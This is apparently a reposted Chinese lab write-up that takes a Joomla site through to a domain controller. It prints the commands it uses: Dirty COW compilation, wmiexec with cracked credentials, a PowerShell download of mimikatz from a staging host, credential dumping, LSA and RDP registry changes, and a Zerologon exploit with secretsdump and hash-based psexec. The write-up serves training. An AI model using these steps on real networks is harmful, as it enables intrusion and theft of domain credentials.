靶场实操-从joomla到拿下域控

华盟原创文章投稿奖励计划

靶场实操-从joomla到拿下域控

访问网站主页,是一个博客网站

靶场实操-从joomla到拿下域控

常规的目录扫描

靶场实操-从joomla到拿下域控

这里发现一个疑似后台地址,访问http://192.168.2.252/administrator/

靶场实操-从joomla到拿下域控

为 joomla 站点,印象中记得有rce的漏洞,上网寻找相关脚本进行利用

正当我以为一键getshell后,发现并没有利用成功

靶场实操-从joomla到拿下域控

继续寻找其他利用点,这里通过 configuration.php~找到一个数据库的文件

PLAINTEXT

1
mysql数据库 testuser/cvcvgjASD!@

靶场实操-从joomla到拿下域控

使用navicat进行连接,可看到这里的密码为bcrypt加密,这个是不可逆的,一般是通过重新生成hash进行替换

靶场实操-从joomla到拿下域控

重新生成一个hash发现还是登陆不上

靶场实操-从joomla到拿下域控

这时候去阅读joomla的官方文档,寻找重置密码的方式

靶场实操-从joomla到拿下域控

PLAINTEXT

1
secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

这里把密码重置为secret,重置后可以成功登录

靶场实操-从joomla到拿下域控

找到 template 模块进行 webshell 文件上传

靶场实操-从joomla到拿下域控

靶场实操-从joomla到拿下域控

哥斯拉成功连接

靶场实操-从joomla到拿下域控

连接之后发现很多命令执行不了

靶场实操-从joomla到拿下域控

这里使用哥斯拉自带的模块绕过 disable_function 执行命令

靶场实操-从joomla到拿下域控

通过 wwwuser/wwwuser_123Aqx 进行ssh登录

登陆后输入 uname -a 发现可以使用脏牛进行提权

靶场实操-从joomla到拿下域控

这里有两个坑点

1、必须把dirty.c传到机器上再进行编译,直接上传编译好的文件运行会报错

2、使用xshell传输不成功,改用xftp可以传输成功

PLAINTEXT

1
2
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123

提权成功,使用 firefart 用户进行登录,密码为123

靶场实操-从joomla到拿下域控

接着进行内网信息搜集,发现机器为双网卡

靶场实操-从joomla到拿下域控

通过ping发现机器出网

靶场实操-从joomla到拿下域控

上传 frp 搭建代理隧道

靶场实操-从joomla到拿下域控

proxifier配置完成测试成功

靶场实操-从joomla到拿下域控

搭建好隧道后进行内网扫描,这里根据网络环境使用禁ping扫描

靶场实操-从joomla到拿下域控

扫描结果如下

PLAINTEXT

1
2
3
SMB: 192.168.93.30	TEST     WIN7           	(Win7-Professional-7601-SP1_6.1.7601)
SMB: 192.168.93.20	TEST     WIN2008        	(Win(R)-2008-Datacenter-6003-SP2_6.0.6003)
SMB: 192.168.93.10	TEST     WIN-8GA56TNV3MV	(Win2012-R2-Datacenter-9600_6.3.9600)

接着对这些ip进行端口扫描

靶场实操-从joomla到拿下域控

这里发现开启了smb端口,尝试进行smb爆破,成功爆破出账密

PLAINTEXT

1
administrator:123qwe!ASD

靶场实操-从joomla到拿下域控

这里使用wmiexec进行连接

PLAINTEXT

1
python wmiexec.py administrator:123qwe!ASD@192.168.93.20

靶场实操-从joomla到拿下域控

可看到dns服务器为 192.168.93.10 ,一般来说dns服务器就是域控,初步判断192.168.93.10为域控机器

这里一开始打算直接powershell上线,但后面发现内网主机不出网,因此寻找其他的方法

接着通过 tasklsit /svc 进行杀软识别,机器上无杀软

靶场实操-从joomla到拿下域控

由于内网不出网,这里在linux机器上开启http服务,把mimikatz扔上去

靶场实操-从joomla到拿下域控

然后使用powershell进行下载运行,这里下载完会卡住,可以通过对比文件大小判断是否传输完毕

PLAINTEXT

1
powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.110:8000/mimi.exe','C:mimi.exe')

靶场实操-从joomla到拿下域控

由于获取到的是非交互式shell,这里使用日志保存

PLAINTEXT

1
mimi.exe log privilege::debug sekurlsa::logonpasswords

靶场实操-从joomla到拿下域控

但是问题来了,这里读出来的log为空,这里判断是lsa保护,果不其然

PLAINTEXT

1
2
3
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA 
#开启LSA保护 reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA /v RunAsPPL /t REG_DWORD /d 1 /f   
#关闭LSA保护 reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA /v RunAsPPL /t REG_DWORD /d 0 /f

靶场实操-从joomla到拿下域控

修改完注册表的话需要重启,但重启之后上面登着的进程也没了,意义不大

这里初步判断192.168.93.10为域控,尝试使用CVE-2020-1472,由于代理不太稳定,靶机直接开3389上去干

PLAINTEXT

1
2
3
4
5
6
7
8
#执行以下命令操作注册表来开启机器3389远程桌面服务 
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

#执行以下命令操作注册表来关闭机器3389远程桌面服务 
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

#使用以下命令添加防火墙放行策略 
netsh firewall add portopening protocol = TCP port = 3389 name = rdp

CVE-2020-1472漏洞利用

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python3 cve-2020-1472-exploit.py WIN-03OO218S5B8 192.168.111.130

secretsdump.py Mikasa.com/WIN-03OO218S5B8$@192.168.111.130 -just-dc -no-pass

psexec.py administrator@10.1.1.60 -hashes

reg save HKLMSYSTEM system.save 
reg save HKLMSAM sam.save 
reg save HKLMSECURITY security.save 
get system.save 
get sam.save 
get security.save 
python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

python3 reinstall_original_pw.py dc-hostname dc-ip hash

成功利用

靶场实操-从joomla到拿下域控

靶场实操-从joomla到拿下域控

置空之后利用获取到的hash对域控进行连接

靶场实操-从joomla到拿下域控

获取桌面上的flag.txt

靶场实操-从joomla到拿下域控

文章来源:亿人安全

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

靶场实操-从joomla到拿下域控

华盟知识星球入口

本文来源亿人安全,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论